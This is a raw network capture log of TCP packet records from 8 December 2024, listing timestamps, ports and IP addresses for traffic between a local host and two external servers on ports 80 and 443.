Dec 8, 2024 00:48:49.265965939 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.265993118 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.266643047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.266693115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.266762018 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.266808987 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.267431021 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.267476082 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.267612934 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.267661095 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.268404007 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.268558025 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.268606901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.269077063 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.269123077 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.269172907 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.269226074 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.269825935 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.269870996 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.299865007 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.299956083 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.300024986 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.300196886 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.300249100 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.300286055 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.300329924 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.308756113 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.308815002 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.309005022 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.309050083 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.309050083 CET	49807	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.309078932 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.309087992 CET	443	49807	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.309355974 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.309405088 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.309463978 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.309551954 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.309573889 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.309587002 CET	49808	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.309592962 CET	443	49808	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.310522079 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.310570002 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.311342955 CET	49809	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311467886 CET	49809	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311479092 CET	443	49809	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.311662912 CET	49811	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311687946 CET	443	49811	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.311738014 CET	49812	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311755896 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.311763048 CET	443	49812	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.311774015 CET	49811	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311817884 CET	49812	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311834097 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.311912060 CET	49811	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311925888 CET	443	49811	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.311928034 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311979055 CET	49812	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.311991930 CET	443	49812	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.312015057 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.312027931 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.312037945 CET	49806	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.312043905 CET	443	49806	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.313947916 CET	49813	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.313970089 CET	443	49813	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.314039946 CET	49814	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.314040899 CET	49813	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.314047098 CET	443	49814	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.314091921 CET	49814	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.314177990 CET	49813	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.314186096 CET	443	49813	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.314229012 CET	49814	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:49.314240932 CET	443	49814	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:49.384624958 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.384696007 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.384718895 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.384762049 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.385047913 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.385094881 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.385144949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.385188103 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.385838032 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.385884047 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.386003971 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.386049986 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.386641979 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.386689901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.386768103 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.386812925 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.387459993 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.387505054 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.387574911 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.387619972 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.388273001 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.388323069 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.388362885 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.388411045 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.389118910 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.389163971 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.389197111 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.389240980 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.389905930 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.389951944 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.389988899 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.390039921 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.390698910 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.390747070 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.390796900 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.390839100 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.391518116 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.391565084 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.391608953 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.391654968 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.392319918 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.392364979 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.392432928 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.392479897 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.393116951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.393250942 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.393296957 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.393985033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.394027948 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.394041061 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.394078016 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.424366951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.424443960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.424491882 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.424736977 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.424794912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.424818039 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.424912930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.425510883 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.425559044 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.509016037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.509084940 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.509150982 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.509279013 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.509437084 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.509499073 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.509536028 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.509582996 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.510221004 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.510267973 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.510308027 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.510358095 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.511022091 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.511066914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.511090040 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.511132956 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.511826038 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.511873960 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.511919022 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.511960030 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.512670040 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.512700081 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.512715101 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.512738943 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.513469934 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.513519049 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.513576031 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.513618946 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.514257908 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.514305115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.514357090 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.514398098 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.515078068 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.515120983 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.515181065 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.515228987 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.515892982 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.515938044 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.516005993 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.516051054 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.516705990 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.516756058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.516813040 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.516855001 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.517550945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.517597914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.517620087 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.517661095 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.518341064 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.518395901 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.518425941 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.518471003 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.519143105 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.519186974 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.519226074 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.519268990 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.548556089 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.548610926 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.548630953 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.548664093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.548875093 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.549050093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.616255999 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.616305113 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.616334915 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.616353989 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.633297920 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.633343935 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.633354902 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.633384943 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.633539915 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.633585930 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.633706093 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.633758068 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.634349108 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.634398937 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.634510994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.634552956 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.635159016 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.635204077 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.635247946 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.635294914 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.635763884 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.635811090 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.635860920 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.635904074 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.636648893 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.636667967 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.636691093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.636713982 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.637387991 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.637433052 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.637589931 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.637635946 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.638210058 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.638257980 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.638272047 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.638317108 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.638962984 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.639010906 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.639264107 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.639308929 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.639806032 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.639853001 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.639899015 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.639942884 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.640717030 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.640763998 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.640788078 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.640831947 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.641422033 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.641470909 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.641510963 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.641557932 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.642254114 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.642297029 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.642339945 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.642383099 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.643040895 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.643090963 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.643219948 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.643269062 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.643899918 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.643946886 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.643984079 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.644030094 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.644648075 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.644695044 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.673130035 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.673227072 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.673341036 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.673341036 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.673430920 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.673542023 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.757667065 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.757880926 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.757939100 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.758002996 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.758048058 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.758141994 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.758188009 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.758223057 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.758260965 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.758950949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.758991957 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.758994102 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.759028912 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.759483099 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.759526968 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.759648085 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.759691954 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.760293007 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.760334969 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.760441065 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.760483980 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.761097908 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.761142969 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.761276960 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.761333942 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.761934042 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.762034893 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.762077093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.762753010 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.762801886 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.762861013 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.762917042 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.763556004 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.763659954 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.763704062 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.763766050 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.764359951 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.764456987 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.764516115 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.765276909 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.765337944 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.765379906 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.765428066 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.765990019 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.766031981 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.766077042 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.766122103 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.766793966 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.766839027 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.766884089 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.766933918 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.767606020 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.767692089 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.767709970 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.767756939 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.768405914 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.768451929 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.768486977 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.768532038 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.797646046 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.797697067 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.797741890 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.797782898 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.798048973 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.798093081 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.798166037 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.798208952 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.798830986 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.798875093 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.882581949 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.882671118 CET	80	49784	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:49.882755995 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.882776976 CET	49784	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:49.882962942 CET	80	49784	185.215.113.206	192.168.2.7
